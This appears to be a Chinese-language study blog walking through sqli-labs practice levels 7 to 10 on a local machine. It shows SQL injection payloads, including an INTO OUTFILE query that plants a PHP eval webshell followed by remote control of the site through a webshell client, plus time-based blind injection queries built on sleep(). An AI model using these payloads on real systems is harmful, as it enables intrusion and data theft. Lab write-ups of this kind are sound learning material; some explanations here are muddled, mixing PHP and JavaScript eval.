sqlilabs 3
LESS-7
在这题当中,我们不难发现,这次他是对((‘$id’))做了这个处理,所以我们只需要在后面多加一个’))这个 然后在里面添加我们需要注入的语句就可以进行注入了
因为之前都知道他的数据库名字是security 所以我直接用substr查了,然后如果换成其他的他就会报错,好像接下来也没啥太大区别了?
OK 一模一样,但是我看外面那个标题 和其他的也不一样啊,
是叫做DUMP into outfile 即利用文件导入的方式进行注入(文件上传注入)
原来这么快就要使用webshall 了:安装好webshall以后,
https://blog.csdn.net/qq_34965596/article/details/104076019?utm_medium=distribute.pc_relevant.none-task-blog-OPENSEARCH-7.add_param_isCf&depth_1-utm_source=distribute.pc_relevant.none-task-blog-OPENSEARCH-7.add_param_isCf这个是webshall的简单使用教程
我们开始使用这个文件导入的方式进行注入:
基础知识:
1.如果服务端代码卫队客户端上传的文件进行严格的验证和过滤,就容易造成可以上传任意文件的情况,包括上传脚本文件(asp、aspx、php、jsp等格式的文件)
危害:
非法用户可以利用上传的恶意脚本文件控制整个网站,甚至控制服务器。这个恶意的脚本文件,又被成为webshell,也可将webshell脚本成为一种网页后门,webshell脚本具有非常强大的功能,比如查看服务器目录、服务器中的文件、执行系统命令等。
今天就先简单的使用一下
select into outfile 直接写入
1.利用条件
(1)对web目录需要有写权限能够使用单引号(root)
(2)知道网站绝对路径(这次由于网站直接搭载在本机下,所以可以很容易得知)
(3)secure_file_priv 没有具体值
2.查看secure_file_priv值
secure_file_priv 是用来限制 load dumpfile、into outfile、load_file() 函数在哪个目录下拥有上传或者读取文件的权限。
当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/ 目录下,此时也无法提权
当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权
我发现我的secure_file_priv是有值的 所以我就找到ini配置文件https://blog.csdn.net/believe_today/article/details/79223684 这个是查找教程 然后将那个数值删掉 记得重启mysql,不然没用
接下来就是使用
1 | union select 1,2 ,"<?php @eval($_POST[cmd]);?>" into outfile 'D:\\apache\\www\\sqli-labs-php7-master\\Less-7\\123.php' --+ |
有个需要注意的点
1这边的斜杠是两个。
在输入这段代码以后 出现了这两个
即使报错了 文件依旧生成了
接下来就是利用菜刀工具,连接这个木马,控制文件
OK 打开新世界的大门
这里需要补充一下,接下来回到刚才添加地址的那个页面右键单击我们添加的地址,然后按数据管理,然后点击数据库,输入这些信息,记得!!!!数据库类型是mysqli(分版本的)
ok
好了 数据库 一览无遗 攻击成功
补充知识:
1.PHP一句木马
是这样的 eval():
eval函数将接受的字符串当做代码执行
参数情况:
(1)如果参数是一个表达式,eval() 函数将执行表达式;
(2) 如果参数是Javascript语句,eval()将执行 Javascript 语句;
注意:(如果执行结果是一个值就返回,不是就返回undefined,如果参数不是一
个字符串,则直接返回该参数)
语法:eval(string)
案例:
eval(“var a=1”);//声明一个变量a并赋值1。
eval(“2+3”);//执行加运算,并返回运算值。
eval(“mytest()”);//执行mytest()函数。
函数作用域:
eval()函数并不会创建一个新的作用域,并且它的作用域就是它所在的
作用域,有时候需要将eval()函数的作用域设置为全局,当然可以将eval()在全局作用
域中使用,这个时候可以用window.eval()的方式实现。
1 | eval($_POST['hacker']); //解析一下这句话:hacker是密码,通过post提交数据,$_POST是超全局变量 @ |
将这个一句话木马写入文件上传到网站,然后打开这个这个函数好像还有其他东西没被我想到,有点怪怪的??? 感觉没这么简单 所以重新开了个博客整理这个文件上传注入的知识
2.webshell
web 应用管理工具,正常情况下,运维人员可以通过 webshell 针对 web 服务器进行日常的运维管理以及系统上线更新等,那么攻击者也可以通过 webshell 来管理 web 应用服务器。
法2
也可直接将数据库的数据存到文档中
LESS-8
在这个当中我们 发现他是没有报错信息的
那么我们就无法使用类似之前的报错注入了。所以就需要时间注入攻击
这里我们就需要先了解一个sleep()函数
它的功能是可以让mysql的执行时间变长
一班和if(expr1,expr2,expr3)结合使用,此if语句含义是:如果expr1是true 则if()的返回是expr2,否则则返回的值为expr3。
所以这里我们输入
1 | if(length(database()>1),sleep(5),1) |
这个语句的意思就是,如果数据库名称的长度大于1,那么延迟五秒钟响应,反之查询1
那么我们怎么知道他的响应时间呢火狐浏览器 然后按网络即可
那接下来就是查询表的名字
1 | and if(substr((select table_name from information_schema.tables where table_schema='security'limit 0,1 ),1,1) = 'e',sleep(5),1) --+ |
接下来的步骤都很相似了
第九关
这个关和第八关还挺像的,但是这关连报错都没有,都是you are in
那这个时候 很明显就只能利用时间来判断是否注入了
因为不管是 and 1=1 还是 and1=2 画面都不会有变化,因为报错语句已经全部变成you are in了
一样的代码一样的测试结果,后面就不再截图了
用就是最后查询字段内容了
第十关根据标题 double quotes
可以知道这次需要使用双引号的注入 然后再加上时间盲注
那其他过程都和之前的一样
整理时间盲注代码:
1 | and if(substr(database(),1,1)='s',sleep(5),1) --+ |
说几个需要注意的点吧,首先 是空格一定要在英文模式下打,其次 括号要分清几个,然后比如说我们要找
字段名 就是column_name 而column_name 是从表中也就是table_name里面找到的
这个要理解一下,不然一直记错很难受
附python时间盲注脚本:
1 | import requests |